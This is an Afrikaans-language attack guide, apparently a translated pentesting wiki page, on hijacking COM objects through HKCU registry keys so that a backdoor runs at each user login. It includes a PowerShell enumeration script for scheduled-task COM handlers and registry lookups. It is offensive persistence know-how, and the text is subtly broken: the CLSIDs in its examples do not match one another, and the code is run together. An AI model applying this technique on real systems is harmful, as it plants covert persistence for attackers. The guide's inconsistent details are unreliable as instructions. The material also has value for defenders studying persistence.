Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan COM-kaping gebruik word as 'n volhoubare meganisme. Deur procmon te gebruik, is dit maklik om gesogte COM-registre te vind wat nie bestaan nie en wat 'n aanvaller kan skep om volhoubaar te wees. Filtreer:
RegOpenKey-handelinge.
waar die ResultaatNAME NOT FOUND is.
en die Pad eindig met InprocServer32.
Sodra jy besluit het watter nie-bestaande COM jy wil voorstel, voer die volgende opdragte uit. Wees versigtig as jy besluit om 'n COM voor te stel wat elke paar sekondes gelaai word, want dit kan oordrewe wees.
Windows-take gebruik aangepaste trefskakelaars om COM-voorwerpe te roep, en omdat hulle deur die Taakbeplanner uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer sal word.
# Wys COM CLSIDs$Take =Get-ScheduledTaskforeach ($Taak in $Take){if ($Taak.Actions.ClassId -ne$null){if ($Taak.Triggers.Enabled -eq$true){$gebruikersSid ="S-1-5-32-545"$gebruikersGroep =Get-LocalGroup|Where-Object { $_.SID-eq $gebruikersSid }if ($Taak.Principal.GroupId -eq $gebruikersGroep){Write-Host"Taaknaam: " $Taak.TaskNameWrite-Host"Taakpad: " $Taak.TaskPathWrite-Host"CLSID: " $Taak.Actions.ClassIdWrite-Host}}}}# Voorbeelduitset:# Taaknaam: Voorbeeld# Taakpad: \Microsoft\Windows\Example\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [meer soos die vorige...]
Deur die uitset te kontroleer, kan jy een kies wat byvoorbeeld elke keer as 'n gebruiker inteken uitgevoer sal word.
Soek nou na die CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
# Exists in HKCR\CLSID\Get-ChildItem-Path"Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"NameProperty------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel:Both# Exists in HKLMGet-Item-Path"HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"|ft-AutoSizeNameProperty------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPSC:\> Get-Item-Path"HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Dan kan jy net die HKCU-inskrywing skep en elke keer as die gebruiker inteken, sal jou agterdeur geaktiveer word.